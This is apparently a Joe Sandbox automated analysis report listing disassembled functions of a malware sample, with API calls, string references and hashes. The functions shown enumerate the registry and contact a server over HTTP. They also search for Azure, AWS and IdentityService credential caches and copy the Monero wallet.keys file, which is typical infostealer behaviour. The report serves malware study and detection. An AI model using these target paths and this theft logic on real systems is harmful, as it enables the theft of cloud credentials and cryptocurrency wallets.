Part of subcall function 00FDA820: lstrlen.KERNEL32(00FC4F05,?,?,00FC4F05,00FE0DDE), ref: 00FDA82B
Part of subcall function 00FDA820: lstrcpy.KERNEL32(00FE0DDE,00000000), ref: 00FDA885

lstrlen.KERNEL32(?), ref: 00FCD32A
lstrlen.KERNEL32(?), ref: 00FCD339

Part of subcall function 00FDAA70: StrCmpCA.SHLWAPI(007B92C8,00FCA7A7,?,00FCA7A7,007B92C8), ref: 00FDAA8F

DeleteFileA.KERNEL32(00000000), ref: 00FCD3B4

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: b0c5c1356591a85767f0d7bf887136a869f856de6003ada260c27ec3b3015a4c
Instruction ID: 5218b752d80c70571a2ad888e40adb1eb93d6f00d926609026cd133880eab7e1
Opcode Fuzzy Hash: b0c5c1356591a85767f0d7bf887136a869f856de6003ada260c27ec3b3015a4c
Instruction Fuzzy Hash: 02E18371810108ABCB15EBA0DD9AEEE7339BF14300F544159F507B3292DF38AE05EB6A

Function 00FD8320 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

RegOpenKeyExA.KERNEL32(00000000,007BB408,00000000,00020019,00000000,00FE05B6), ref: 00FD83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FD8426
wsprintfA.USER32 ref: 00FD8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00FD847B
RegCloseKey.ADVAPI32(00000000), ref: 00FD848C
RegCloseKey.ADVAPI32(00000000), ref: 00FD8499

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Strings

X{, xrefs: 00FD84DF
?, xrefs: 00FD837A
- , xrefs: 00FD85A3
%s\%s, xrefs: 00FD844D
h{, xrefs: 00FD858C

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?$X{$h{
API String ID: 3246050789-1805591345
Opcode ID: 9fe53f86bd407e0f19da5b45945f98141ad1208e4b68b92aa890565605fd4aac
Instruction ID: c3dcb3498b14badcce981594e69552a07546c53b62f3acf5e9a8d9f9eaae7a4c
Opcode Fuzzy Hash: 9fe53f86bd407e0f19da5b45945f98141ad1208e4b68b92aa890565605fd4aac
Instruction Fuzzy Hash: 3C815D71910218ABDB28DB50DC95FEA77B9FF08700F448299E109A7281DF74AF85DF94

Function 00FC6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FC4839
Part of subcall function 00FC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FC4849

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

InternetOpenA.WININET(00FE0DFE,00000001,00000000,00000000,00000000), ref: 00FC62E1
StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FC6335
HttpOpenRequestA.WININET(00000000,GET,?,007BE200,00000000,00000000,00400100,00000000), ref: 00FC6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FC63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FC63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00FC63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FC646D
InternetCloseHandle.WININET(00000000), ref: 00FC64EF
InternetCloseHandle.WININET(00000000), ref: 00FC64F9
InternetCloseHandle.WININET(00000000), ref: 00FC6503

Strings

GET, xrefs: 00FC637C
ERROR, xrefs: 00FC64C9
ERROR, xrefs: 00FC6407
8{, xrefs: 00FC62F8

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: 8{$ERROR$ERROR$GET
API String ID: 3749127164-313351236
Opcode ID: 111320524258230afd26fe2d60e307a7624f6b486644b9254da2ac1f8c8c5e85
Instruction ID: e311b3590c8132d1c4d6385cd60eee23b542161e50d53a35570d74451ef58a4a
Opcode Fuzzy Hash: 111320524258230afd26fe2d60e307a7624f6b486644b9254da2ac1f8c8c5e85
Instruction Fuzzy Hash: BA718E71A00308ABDB24DFA0DC4AFEE7774BB44700F508159F50AAB2C4DBB46A85EF51

Function 00FD5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA820: lstrlen.KERNEL32(00FC4F05,?,?,00FC4F05,00FE0DDE), ref: 00FDA82B
Part of subcall function 00FDA820: lstrcpy.KERNEL32(00FE0DDE,00000000), ref: 00FDA885

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FD5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FD56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FD5857

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FD51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FD5228

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FD5318
Part of subcall function 00FD52C0: lstrlen.KERNEL32(00000000), ref: 00FD532F
Part of subcall function 00FD52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00FD5364
Part of subcall function 00FD52C0: lstrlen.KERNEL32(00000000), ref: 00FD5383
Part of subcall function 00FD52C0: lstrlen.KERNEL32(00000000), ref: 00FD53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FD578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FD5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FD5A0C
Sleep.KERNEL32(0000EA60), ref: 00FD5A1B

Strings

ERROR, xrefs: 00FD5693
ERROR, xrefs: 00FD5636
ERROR, xrefs: 00FD59FE
ERROR, xrefs: 00FD5849
ERROR, xrefs: 00FD577D
ERROR, xrefs: 00FD5932

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b62a666d442ea286840becc3e89347b0d3fa53645b973d4904223cc21a1069ab
Instruction ID: c378dca9f2497ca9b7fae20fb1c08e03ad9aa721c1a21cf1091e1582ceb3e220
Opcode Fuzzy Hash: b62a666d442ea286840becc3e89347b0d3fa53645b973d4904223cc21a1069ab
Instruction Fuzzy Hash: F0E177719101049ACB14FBA0EC57EED733ABF54700F48862AF40657286EF389B09FB96

Function 00FD4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FD4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00FD4DCD

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD492C
Part of subcall function 00FD4910: FindFirstFileA.KERNEL32(?,?), ref: 00FD4943

lstrcat.KERNEL32(?,00000000), ref: 00FD4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00FD4E59

Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE0FDC), ref: 00FD4971
Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE0FE0), ref: 00FD4987
Part of subcall function 00FD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FD4B7D
Part of subcall function 00FD4910: FindClose.KERNEL32(000000FF), ref: 00FD4B92

lstrcat.KERNEL32(?,00000000), ref: 00FD4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00FD4EE5

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD49B0
Part of subcall function 00FD4910: StrCmpCA.SHLWAPI(?,00FE08D2), ref: 00FD49C5
Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD49E2
Part of subcall function 00FD4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00FD4A1E
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,007BE918), ref: 00FD4A4A
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,00FE0FF8), ref: 00FD4A5C
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,?), ref: 00FD4A70
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,00FE0FFC), ref: 00FD4A82
Part of subcall function 00FD4910: lstrcat.KERNEL32(?,?), ref: 00FD4A96
Part of subcall function 00FD4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00FD4AAC
Part of subcall function 00FD4910: DeleteFileA.KERNEL32(?), ref: 00FD4B31

Strings

\.aws\, xrefs: 00FD4E4D
\.azure\, xrefs: 00FD4DC1
msal.cache, xrefs: 00FD4EF0
*.*, xrefs: 00FD4DD8
Azure\.azure, xrefs: 00FD4DD3
Azure\.IdentityService, xrefs: 00FD4EEB
*.*, xrefs: 00FD4E64
\.IdentityService\, xrefs: 00FD4ED9
Azure\.aws, xrefs: 00FD4E5F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: c98d3da30f19903b38352d10883e7804631573ed3c35a4a289c8a2680ef7c903
Instruction ID: 3874a48f09cc14d4b2d3c829ba4ddac3179bbf46d9f142e9b3a1dc3cd9b06da9
Opcode Fuzzy Hash: c98d3da30f19903b38352d10883e7804631573ed3c35a4a289c8a2680ef7c903
Instruction Fuzzy Hash: 3641C57A94020867DB20F760EC47FED3339AB64700F4445547685661C2EEB99BC9AB93

Function 00FC1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC12B4
Part of subcall function 00FC12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00FC12BB
Part of subcall function 00FC12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00FC12D7
Part of subcall function 00FC12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FC12F5
Part of subcall function 00FC12A0: RegCloseKey.ADVAPI32(?), ref: 00FC12FF

lstrcat.KERNEL32(?,00000000), ref: 00FC134F
lstrlen.KERNEL32(?), ref: 00FC135C
lstrcat.KERNEL32(?,.keys), ref: 00FC1377

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD8B60: GetSystemTime.KERNEL32(00FE0E1A,007BA5D0,00FE05AE,?,?,00FC13F9,?,0000001A,00FE0E1A,00000000,?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FD8B86

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00FC1465

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FC99EC
Part of subcall function 00FC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FC9A11
Part of subcall function 00FC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FC9A31
Part of subcall function 00FC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FC148F,00000000), ref: 00FC9A5A
Part of subcall function 00FC99C0: LocalFree.KERNEL32(00FC148F), ref: 00FC9A90
Part of subcall function 00FC99C0: CloseHandle.KERNEL32(000000FF), ref: 00FC9A9A

DeleteFileA.KERNEL32(00000000), ref: 00FC14EF

Strings

\Monero\wallet.keys, xrefs: 00FC138D
SOFTWARE\monero-project\monero-core, xrefs: 00FC1335
wallet_path, xrefs: 00FC1330
.keys, xrefs: 00FC136B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 1d3a9746ac48c8725d62d2fe49b9c302f80bdb8a290a89ee4a31c8ee10cb6bed
Instruction ID: 63357a9084d9001d855194c62df5ed95e44cab7ab4ec8603ea32d7cd394185ed
